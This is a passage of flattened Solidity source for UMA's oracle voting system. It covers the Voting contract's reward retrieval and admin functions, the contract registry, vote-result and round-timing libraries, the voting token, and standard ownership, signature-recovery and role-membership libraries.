RevealAncillary[] memory revealsAncillary = new RevealAncillary[](reveals.length); for (uint256 i = 0; i < reveals.length; i++) { revealsAncillary[i].identifier = reveals[i].identifier; revealsAncillary[i].time = reveals[i].time; revealsAncillary[i].price = reveals[i].price; revealsAncillary[i].ancillaryData = ""; revealsAncillary[i].salt = reveals[i].salt; } batchReveal(revealsAncillary); } /** * @notice Retrieves rewards owed for a set of resolved price requests. * @dev Can only retrieve rewards if calling for a valid round and if the call is done within the timeout threshold * (not expired). Note that a named return value is used here to avoid a stack to deep error. * @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller. * @param roundId the round from which voting rewards will be retrieved from. * @param toRetrieve array of PendingRequests which rewards are retrieved from. * @return totalRewardToIssue total amount of rewards returned to the voter. */ function retrieveRewards( address voterAddress, uint256 roundId, PendingRequestAncillary[] memory toRetrieve ) public override returns (FixedPoint.Unsigned memory totalRewardToIssue) { if (migratedAddress != address(0)) { require(msg.sender == migratedAddress, "Can only call from migrated"); } require(roundId < voteTiming.computeCurrentRoundId(getCurrentTime()), "Invalid roundId"); Round storage round = rounds[roundId]; bool isExpired = getCurrentTime() > round.rewardsExpirationTime; FixedPoint.Unsigned memory snapshotBalance = FixedPoint.Unsigned(votingToken.balanceOfAt(voterAddress, round.snapshotId)); // Compute the total amount of reward that will be issued for each of the votes in the round. FixedPoint.Unsigned memory snapshotTotalSupply = FixedPoint.Unsigned(votingToken.totalSupplyAt(round.snapshotId)); FixedPoint.Unsigned memory totalRewardPerVote = round.inflationRate.mul(snapshotTotalSupply); // Keep track of the voter's accumulated token reward. totalRewardToIssue = FixedPoint.Unsigned(0); for (uint256 i = 0; i < toRetrieve.length; i++) { PriceRequest storage priceRequest = _getPriceRequest(toRetrieve[i].identifier, toRetrieve[i].time, toRetrieve[i].ancillaryData); VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound]; // Only retrieve rewards for votes resolved in same round require(priceRequest.lastVotingRound == roundId, "Retrieve for votes same round"); _resolvePriceRequest(priceRequest, voteInstance); if (voteInstance.voteSubmissions[voterAddress].revealHash == 0) { continue; } else if (isExpired) { // Emit a 0 token retrieval on expired rewards. emit RewardsRetrieved( voterAddress, roundId, toRetrieve[i].identifier, toRetrieve[i].time, toRetrieve[i].ancillaryData, 0 ); } else if ( voteInstance.resultComputation.wasVoteCorrect(voteInstance.voteSubmissions[voterAddress].revealHash) ) { // The price was successfully resolved during the voter's last voting round, the voter revealed // and was correct, so they are eligible for a reward. // Compute the reward and add to the cumulative reward. FixedPoint.Unsigned memory reward = snapshotBalance.mul(totalRewardPerVote).div( voteInstance.resultComputation.getTotalCorrectlyVotedTokens() ); totalRewardToIssue = totalRewardToIssue.add(reward); // Emit reward retrieval for this vote. emit RewardsRetrieved( voterAddress, roundId, toRetrieve[i].identifier, toRetrieve[i].time, toRetrieve[i].ancillaryData, reward.rawValue ); } else { // Emit a 0 token retrieval on incorrect votes. emit RewardsRetrieved( voterAddress, roundId, toRetrieve[i].identifier, toRetrieve[i].time, toRetrieve[i].ancillaryData, 0 ); } // Delete the submission to capture any refund and clean up storage. delete voteInstance.voteSubmissions[voterAddress].revealHash; } // Issue any accumulated rewards. if (totalRewardToIssue.isGreaterThan(0)) { require(votingToken.mint(voterAddress, totalRewardToIssue.rawValue), "Voting token issuance failed"); } } // Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version. function retrieveRewards( address voterAddress, uint256 roundId, PendingRequest[] memory toRetrieve ) public override returns (FixedPoint.Unsigned memory) { PendingRequestAncillary[] memory toRetrieveAncillary = new PendingRequestAncillary[](toRetrieve.length); for (uint256 i = 0; i < toRetrieve.length; i++) { toRetrieveAncillary[i].identifier = toRetrieve[i].identifier; toRetrieveAncillary[i].time = toRetrieve[i].time; toRetrieveAncillary[i].ancillaryData = ""; } return retrieveRewards(voterAddress, roundId, toRetrieveAncillary); } /**************************************** * VOTING GETTER FUNCTIONS * ****************************************/ /** * @notice Gets the queries that are being voted on this round. * @return pendingRequests array containing identifiers of type `PendingRequest`. * and timestamps for all pending requests. */ function getPendingRequests() external view override(VotingInterface, VotingAncillaryInterface) returns (PendingRequestAncillary[] memory) { uint256 blockTime = getCurrentTime(); uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime); // Solidity memory arrays aren't resizable (and reading storage is expensive). Hence this hackery to filter // `pendingPriceRequests` only to those requests that have an Active RequestStatus. PendingRequestAncillary[] memory unresolved = new PendingRequestAncillary[](pendingPriceRequests.length); uint256 numUnresolved = 0; for (uint256 i = 0; i < pendingPriceRequests.length; i++) { PriceRequest storage priceRequest = priceRequests[pendingPriceRequests[i]]; if (_getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active) { unresolved[numUnresolved] = PendingRequestAncillary({ identifier: priceRequest.identifier, time: priceRequest.time, ancillaryData: priceRequest.ancillaryData }); numUnresolved++; } } PendingRequestAncillary[] memory pendingRequests = new PendingRequestAncillary[](numUnresolved); for (uint256 i = 0; i < numUnresolved; i++) { pendingRequests[i] = unresolved[i]; } return pendingRequests; } /** * @notice Returns the current voting phase, as a function of the current time. * @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }. */ function getVotePhase() external view override(VotingInterface, VotingAncillaryInterface) returns (Phase) { return voteTiming.computeCurrentPhase(getCurrentTime()); } /** * @notice Returns the current round ID, as a function of the current time. * @return uint256 representing the unique round ID. */ function getCurrentRoundId() external view override(VotingInterface, VotingAncillaryInterface) returns (uint256) { return voteTiming.computeCurrentRoundId(getCurrentTime()); } /**************************************** * OWNER ADMIN FUNCTIONS * ****************************************/ /** * @notice Disables this Voting contract in favor of the migrated one. * @dev Can only be called by the contract owner. * @param newVotingAddress the newly migrated contract address. */ function setMigrated(address newVotingAddress) external override(VotingInterface, VotingAncillaryInterface) onlyOwner { migratedAddress = newVotingAddress; } /** * @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun. * @dev This method is public because calldata structs are not currently supported by solidity. * @param newInflationRate sets the next round's inflation rate. */ function setInflationRate(FixedPoint.Unsigned memory newInflationRate) public override(VotingInterface, VotingAncillaryInterface) onlyOwner { inflationRate = newInflationRate; } /** * @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun. * @dev This method is public because calldata structs are not currently supported by solidity. * @param newGatPercentage sets the next round's Gat percentage. */ function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage) public override(VotingInterface, VotingAncillaryInterface) onlyOwner { require(newGatPercentage.isLessThan(1), "GAT percentage must be < 100%"); gatPercentage = newGatPercentage; } /** * @notice Resets the rewards expiration timeout. * @dev This change only applies to rounds that have not yet begun. * @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards. */ function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout) public override(VotingInterface, VotingAncillaryInterface) onlyOwner { rewardsExpirationTimeout = NewRewardsExpirationTimeout; } /**************************************** * PRIVATE AND INTERNAL FUNCTIONS * ****************************************/ // Returns the price for a given identifer. Three params are returns: bool if there was an error, int to represent // the resolved price and a string which is filled with an error message, if there was an error or "". function _getPriceOrError( bytes32 identifier, uint256 time, bytes memory ancillaryData ) private view returns ( bool, int256, string memory ) { PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData); uint256 currentRoundId = voteTiming.computeCurrentRoundId(getCurrentTime()); RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId); if (requestStatus == RequestStatus.Active) { return (false, 0, "Current voting round not ended"); } else if (requestStatus == RequestStatus.Resolved) { VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound]; (, int256 resolvedPrice) = voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound)); return (true, resolvedPrice, ""); } else if (requestStatus == RequestStatus.Future) { return (false, 0, "Price is still to be voted on"); } else { return (false, 0, "Price was never requested"); } } function _getPriceRequest( bytes32 identifier, uint256 time, bytes memory ancillaryData ) private view returns (PriceRequest storage) { return priceRequests[_encodePriceRequest(identifier, time, ancillaryData)]; } function _encodePriceRequest( bytes32 identifier, uint256 time, bytes memory ancillaryData ) private pure returns (bytes32) { return keccak256(abi.encode(identifier, time, ancillaryData)); } function _freezeRoundVariables(uint256 roundId) private { Round storage round = rounds[roundId]; // Only on the first reveal should the snapshot be captured for that round. if (round.snapshotId == 0) { // There is no snapshot ID set, so create one. round.snapshotId = votingToken.snapshot(); // Set the round inflation rate to the current global inflation rate. rounds[roundId].inflationRate = inflationRate; // Set the round gat percentage to the current global gat rate. rounds[roundId].gatPercentage = gatPercentage; // Set the rewards expiration time based on end of time of this round and the current global timeout. rounds[roundId].rewardsExpirationTime = voteTiming.computeRoundEndTime(roundId).add( rewardsExpirationTimeout ); } } function _resolvePriceRequest(PriceRequest storage priceRequest, VoteInstance storage voteInstance) private { if (priceRequest.index == UINT_MAX) { return; } (bool isResolved, int256 resolvedPrice) = voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound)); require(isResolved, "Can't resolve unresolved request"); // Delete the resolved price request from pendingPriceRequests. uint256 lastIndex = pendingPriceRequests.length - 1; PriceRequest storage lastPriceRequest = priceRequests[pendingPriceRequests[lastIndex]]; lastPriceRequest.index = priceRequest.index; pendingPriceRequests[priceRequest.index] = pendingPriceRequests[lastIndex]; pendingPriceRequests.pop(); priceRequest.index = UINT_MAX; emit PriceResolved( priceRequest.lastVotingRound, priceRequest.identifier, priceRequest.time, resolvedPrice, priceRequest.ancillaryData ); } function _computeGat(uint256 roundId) private view returns (FixedPoint.Unsigned memory) { uint256 snapshotId = rounds[roundId].snapshotId; if (snapshotId == 0) { // No snapshot - return max value to err on the side of caution. return FixedPoint.Unsigned(UINT_MAX); } // Grab the snapshotted supply from the voting token. It's already scaled by 10**18, so we can directly // initialize the Unsigned value with the returned uint. FixedPoint.Unsigned memory snapshottedSupply = FixedPoint.Unsigned(votingToken.totalSupplyAt(snapshotId)); // Multiply the total supply at the snapshot by the gatPercentage to get the GAT in number of tokens. return snapshottedSupply.mul(rounds[roundId].gatPercentage); } function _getRequestStatus(PriceRequest storage priceRequest, uint256 currentRoundId) private view returns (RequestStatus) { if (priceRequest.lastVotingRound == 0) { return RequestStatus.NotRequested; } else if (priceRequest.lastVotingRound < currentRoundId) { VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound]; (bool isResolved, ) = voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound)); return isResolved ? RequestStatus.Resolved : RequestStatus.Active; } else if (priceRequest.lastVotingRound == currentRoundId) { return RequestStatus.Active; } else { // Means than priceRequest.lastVotingRound > currentRoundId return RequestStatus.Future; } } function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; /** * @title Provides addresses of the live contracts implementing certain interfaces. * @dev Examples are the Oracle or Store interfaces. */ interface FinderInterface { /** * @notice Updates the address of the contract that implements `interfaceName`. * @param interfaceName bytes32 encoding of the interface name that is either changed or registered. * @param implementationAddress address of the deployed contract that implements the interface. */ function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external; /** * @notice Gets the address of the contract that implements the given `interfaceName`. * @param interfaceName queried interface. * @return implementationAddress address of the deployed contract that implements the interface. */ function getImplementationAddress(bytes32 interfaceName) external view returns (address); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; /** * @title Financial contract facing Oracle interface. * @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface. */ abstract contract OracleAncillaryInterface { /** * @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair. * @dev Time must be in the past and the identifier must be supported. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller. * @param time unix timestamp for the price request. */ function requestPrice( bytes32 identifier, uint256 time, bytes memory ancillaryData ) public virtual; /** * @notice Whether the price for `identifier` and `time` is available. * @dev Time must be in the past and the identifier must be supported. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. * @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller. * @return bool if the DVM has resolved to a price for the given identifier and timestamp. */ function hasPrice( bytes32 identifier, uint256 time, bytes memory ancillaryData ) public view virtual returns (bool); /** * @notice Gets the price for `identifier` and `time` if it has already been requested and resolved. * @dev If the price is not available, the method reverts. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. * @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller. * @return int256 representing the resolved price for the given identifier and timestamp. */ function getPrice( bytes32 identifier, uint256 time, bytes memory ancillaryData ) public view virtual returns (int256); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /** * @title Interface for whitelists of supported identifiers that the oracle can provide prices for. */ interface IdentifierWhitelistInterface { /** * @notice Adds the provided identifier as a supported identifier. * @dev Price requests using this identifier will succeed after this call. * @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD. */ function addSupportedIdentifier(bytes32 identifier) external; /** * @notice Removes the identifier from the whitelist. * @dev Price requests using this identifier will no longer succeed after this call. * @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD. */ function removeSupportedIdentifier(bytes32 identifier) external; /** * @notice Checks whether an identifier is on the whitelist. * @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD. * @return bool if the identifier is supported (or not). */ function isIdentifierSupported(bytes32 identifier) external view returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/MultiRole.sol"; import "../interfaces/RegistryInterface.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; /** * @title Registry for financial contracts and approved financial contract creators. * @dev Maintains a whitelist of financial contract creators that are allowed * to register new financial contracts and stores party members of a financial contract. */ contract Registry is RegistryInterface, MultiRole { using SafeMath for uint256; /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ enum Roles { Owner, // The owner manages the set of ContractCreators. ContractCreator // Can register financial contracts. } // This enum is required because a `WasValid` state is required // to ensure that financial contracts cannot be re-registered. enum Validity { Invalid, Valid } // Local information about a contract. struct FinancialContract { Validity valid; uint128 index; } struct Party { address[] contracts; // Each financial contract address is stored in this array. // The address of each financial contract is mapped to its index for constant time look up and deletion. mapping(address => uint256) contractIndex; } // Array of all contracts that are approved to use the UMA Oracle. address[] public registeredContracts; // Map of financial contract contracts to the associated FinancialContract struct. mapping(address => FinancialContract) public contractMap; // Map each party member to their their associated Party struct. mapping(address => Party) private partyMap; /**************************************** * EVENTS * ****************************************/ event NewContractRegistered(address indexed contractAddress, address indexed creator, address[] parties); event PartyAdded(address indexed contractAddress, address indexed party); event PartyRemoved(address indexed contractAddress, address indexed party); /** * @notice Construct the Registry contract. */ constructor() public { _createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender); // Start with no contract creators registered. _createSharedRole(uint256(Roles.ContractCreator), uint256(Roles.Owner), new address[](0)); } /**************************************** * REGISTRATION FUNCTIONS * ****************************************/ /** * @notice Registers a new financial contract. * @dev Only authorized contract creators can call this method. * @param parties array of addresses who become parties in the contract. * @param contractAddress address of the contract against which the parties are registered. */ function registerContract(address[] calldata parties, address contractAddress) external override onlyRoleHolder(uint256(Roles.ContractCreator)) { FinancialContract storage financialContract = contractMap[contractAddress]; require(contractMap[contractAddress].valid == Validity.Invalid, "Can only register once"); // Store contract address as a registered contract. registeredContracts.push(contractAddress); // No length check necessary because we should never hit (2^127 - 1) contracts. financialContract.index = uint128(registeredContracts.length.sub(1)); // For all parties in the array add them to the contract's parties. financialContract.valid = Validity.Valid; for (uint256 i = 0; i < parties.length; i = i.add(1)) { _addPartyToContract(parties[i], contractAddress); } emit NewContractRegistered(contractAddress, msg.sender, parties); } /** * @notice Adds a party member to the calling contract. * @dev msg.sender will be used to determine the contract that this party is added to. * @param party new party for the calling contract. */ function addPartyToContract(address party) external override { address contractAddress = msg.sender; require(contractMap[contractAddress].valid == Validity.Valid, "Can only add to valid contract"); _addPartyToContract(party, contractAddress); } /** * @notice Removes a party member from the calling contract. * @dev msg.sender will be used to determine the contract that this party is removed from. * @param partyAddress address to be removed from the calling contract. */ function removePartyFromContract(address partyAddress) external override { address contractAddress = msg.sender; Party storage party = partyMap[partyAddress]; uint256 numberOfContracts = party.contracts.length; require(numberOfContracts != 0, "Party has no contracts"); require(contractMap[contractAddress].valid == Validity.Valid, "Remove only from valid contract"); require(isPartyMemberOfContract(partyAddress, contractAddress), "Can only remove existing party"); // Index of the current location of the contract to remove. uint256 deleteIndex = party.contractIndex[contractAddress]; // Store the last contract's address to update the lookup map. address lastContractAddress = party.contracts[numberOfContracts - 1]; // Swap the contract to be removed with the last contract. party.contracts[deleteIndex] = lastContractAddress; // Update the lookup index with the new location. party.contractIndex[lastContractAddress] = deleteIndex; // Pop the last contract from the array and update the lookup map. party.contracts.pop(); delete party.contractIndex[contractAddress]; emit PartyRemoved(contractAddress, partyAddress); } /**************************************** * REGISTRY STATE GETTERS * ****************************************/ /** * @notice Returns whether the contract has been registered with the registry. * @dev If it is registered, it is an authorized participant in the UMA system. * @param contractAddress address of the financial contract. * @return bool indicates whether the contract is registered. */ function isContractRegistered(address contractAddress) external view override returns (bool) { return contractMap[contractAddress].valid == Validity.Valid; } /** * @notice Returns a list of all contracts that are associated with a particular party. * @param party address of the party. * @return an array of the contracts the party is registered to. */ function getRegisteredContracts(address party) external view override returns (address[] memory) { return partyMap[party].contracts; } /** * @notice Returns all registered contracts. * @return all registered contract addresses within the system. */ function getAllRegisteredContracts() external view override returns (address[] memory) { return registeredContracts; } /** * @notice checks if an address is a party of a contract. * @param party party to check. * @param contractAddress address to check against the party. * @return bool indicating if the address is a party of the contract. */ function isPartyMemberOfContract(address party, address contractAddress) public view override returns (bool) { uint256 index = partyMap[party].contractIndex[contractAddress]; return partyMap[party].contracts.length > index && partyMap[party].contracts[index] == contractAddress; } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ function _addPartyToContract(address party, address contractAddress) internal { require(!isPartyMemberOfContract(party, contractAddress), "Can only register a party once"); uint256 contractIndex = partyMap[party].contracts.length; partyMap[party].contracts.push(contractAddress); partyMap[party].contractIndex[contractAddress] = contractIndex; emit PartyAdded(contractAddress, party); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../../common/implementation/FixedPoint.sol"; /** * @title Computes vote results. * @dev The result is the mode of the added votes. Otherwise, the vote is unresolved. */ library ResultComputation { using FixedPoint for FixedPoint.Unsigned; /**************************************** * INTERNAL LIBRARY DATA STRUCTURE * ****************************************/ struct Data { // Maps price to number of tokens that voted for that price. mapping(int256 => FixedPoint.Unsigned) voteFrequency; // The total votes that have been added. FixedPoint.Unsigned totalVotes; // The price that is the current mode, i.e., the price with the highest frequency in `voteFrequency`. int256 currentMode; } /**************************************** * VOTING FUNCTIONS * ****************************************/ /** * @notice Adds a new vote to be used when computing the result. * @param data contains information to which the vote is applied. * @param votePrice value specified in the vote for the given `numberTokens`. * @param numberTokens number of tokens that voted on the `votePrice`. */ function addVote( Data storage data, int256 votePrice, FixedPoint.Unsigned memory numberTokens ) internal { data.totalVotes = data.totalVotes.add(numberTokens); data.voteFrequency[votePrice] = data.voteFrequency[votePrice].add(numberTokens); if ( votePrice != data.currentMode && data.voteFrequency[votePrice].isGreaterThan(data.voteFrequency[data.currentMode]) ) { data.currentMode = votePrice; } } /**************************************** * VOTING STATE GETTERS * ****************************************/ /** * @notice Returns whether the result is resolved, and if so, what value it resolved to. * @dev `price` should be ignored if `isResolved` is false. * @param data contains information against which the `minVoteThreshold` is applied. * @param minVoteThreshold min (exclusive) number of tokens that must have voted for the result to be valid. Can be * used to enforce a minimum voter participation rate, regardless of how the votes are distributed. * @return isResolved indicates if the price has been resolved correctly. * @return price the price that the dvm resolved to. */ function getResolvedPrice(Data storage data, FixedPoint.Unsigned memory minVoteThreshold) internal view returns (bool isResolved, int256 price) { FixedPoint.Unsigned memory modeThreshold = FixedPoint.fromUnscaledUint(50).div(100); if ( data.totalVotes.isGreaterThan(minVoteThreshold) && data.voteFrequency[data.currentMode].div(data.totalVotes).isGreaterThan(modeThreshold) ) { // `modeThreshold` and `minVoteThreshold` are exceeded, so the current mode is the resolved price. isResolved = true; price = data.currentMode; } else { isResolved = false; } } /** * @notice Checks whether a `voteHash` is considered correct. * @dev Should only be called after a vote is resolved, i.e., via `getResolvedPrice`. * @param data contains information against which the `voteHash` is checked. * @param voteHash committed hash submitted by the voter. * @return bool true if the vote was correct. */ function wasVoteCorrect(Data storage data, bytes32 voteHash) internal view returns (bool) { return voteHash == keccak256(abi.encode(data.currentMode)); } /** * @notice Gets the total number of tokens whose votes are considered correct. * @dev Should only be called after a vote is resolved, i.e., via `getResolvedPrice`. * @param data contains all votes against which the correctly voted tokens are counted. * @return FixedPoint.Unsigned which indicates the frequency of the correctly voted tokens. */ function getTotalCorrectlyVotedTokens(Data storage data) internal view returns (FixedPoint.Unsigned memory) { return data.voteFrequency[data.currentMode]; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../interfaces/VotingInterface.sol"; /** * @title Library to compute rounds and phases for an equal length commit-reveal voting cycle. */ library VoteTiming { using SafeMath for uint256; struct Data { uint256 phaseLength; } /** * @notice Initializes the data object. Sets the phase length based on the input. */ function init(Data storage data, uint256 phaseLength) internal { // This should have a require message but this results in an internal Solidity error. require(phaseLength > 0); data.phaseLength = phaseLength; } /** * @notice Computes the roundID based off the current time as floor(timestamp/roundLength). * @dev The round ID depends on the global timestamp but not on the lifetime of the system. * The consequence is that the initial round ID starts at an arbitrary number (that increments, as expected, for subsequent rounds) instead of zero or one. * @param data input data object. * @param currentTime input unix timestamp used to compute the current roundId. * @return roundId defined as a function of the currentTime and `phaseLength` from `data`. */ function computeCurrentRoundId(Data storage data, uint256 currentTime) internal view returns (uint256) { uint256 roundLength = data.phaseLength.mul(uint256(VotingAncillaryInterface.Phase.NUM_PHASES_PLACEHOLDER)); return currentTime.div(roundLength); } /** * @notice compute the round end time as a function of the round Id. * @param data input data object. * @param roundId uniquely identifies the current round. * @return timestamp unix time of when the current round will end. */ function computeRoundEndTime(Data storage data, uint256 roundId) internal view returns (uint256) { uint256 roundLength = data.phaseLength.mul(uint256(VotingAncillaryInterface.Phase.NUM_PHASES_PLACEHOLDER)); return roundLength.mul(roundId.add(1)); } /** * @notice Computes the current phase based only on the current time. * @param data input data object. * @param currentTime input unix timestamp used to compute the current roundId. * @return current voting phase based on current time and vote phases configuration. */ function computeCurrentPhase(Data storage data, uint256 currentTime) internal view returns (VotingAncillaryInterface.Phase) { // This employs some hacky casting. We could make this an if-statement if we're worried about type safety. return VotingAncillaryInterface.Phase( currentTime.div(data.phaseLength).mod(uint256(VotingAncillaryInterface.Phase.NUM_PHASES_PLACEHOLDER)) ); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../../common/implementation/ExpandedERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Snapshot.sol"; /** * @title Ownership of this token allows a voter to respond to price requests. * @dev Supports snapshotting and allows the Oracle to mint new tokens as rewards. */ contract VotingToken is ExpandedERC20, ERC20Snapshot { /** * @notice Constructs the VotingToken. */ constructor() public ExpandedERC20("UMA Voting Token v1", "UMA", 18) {} /** * @notice Creates a new snapshot ID. * @return uint256 Thew new snapshot ID. */ function snapshot() external returns (uint256) { return _snapshot(); } // _transfer, _mint and _burn are ERC20 internal methods that are overridden by ERC20Snapshot, // therefore the compiler will complain that VotingToken must override these methods // because the two base classes (ERC20 and ERC20Snapshot) both define the same functions function _transfer( address from, address to, uint256 value ) internal override(ERC20, ERC20Snapshot) { super._transfer(from, to, value); } function _mint(address account, uint256 value) internal override(ERC20, ERC20Snapshot) { super._mint(account, value); } function _burn(address account, uint256 value) internal override(ERC20, ERC20Snapshot) { super._burn(account, value); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; /** * @title Stores common interface names used throughout the DVM by registration in the Finder. */ library OracleInterfaces { bytes32 public constant Oracle = "Oracle"; bytes32 public constant IdentifierWhitelist = "IdentifierWhitelist"; bytes32 public constant Store = "Store"; bytes32 public constant FinancialContractsAdmin = "FinancialContractsAdmin"; bytes32 public constant Registry = "Registry"; bytes32 public constant CollateralWhitelist = "CollateralWhitelist"; bytes32 public constant OptimisticOracle = "OptimisticOracle"; } pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.6.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n Γ· 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { revert("ECDSA: invalid signature 's' value"); } if (v != 27 && v != 28) { revert("ECDSA: invalid signature 'v' value"); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; library Exclusive { struct RoleMembership { address member; } function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) { return roleMembership.member == memberToCheck; } function resetMember(RoleMembership storage roleMembership, address newMember) internal { require(newMember != address(0x0), "Cannot set an exclusive role to 0x0"); roleMembership.member = newMember; } function getMember(RoleMembership storage roleMembership) internal view returns (address) { return roleMembership.member; } function init(RoleMembership storage roleMembership, address initialMember) internal { resetMember(roleMembership, initialMember); } } library Shared { struct RoleMembership { mapping(address => bool) members; } function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) { return roleMembership.members[memberToCheck]; } function addMember(RoleMembership storage roleMembership, address memberToAdd) internal { require(memberToAdd != address(0x0), "Cannot add 0x0 to a shared role"); roleMembership.members[memberToAdd] = true; } function removeMember(RoleMembership storage roleMembership, address memberToRemove) internal { roleMembership.members[memberToRemove] = false; } function init(RoleMembership storage roleMembership, address[] memory initialMembers) internal { for (uint256 i = 0; i < initialMembers.length; i++) { addMember(roleMembership, initialMembers[i]); } } } /** * 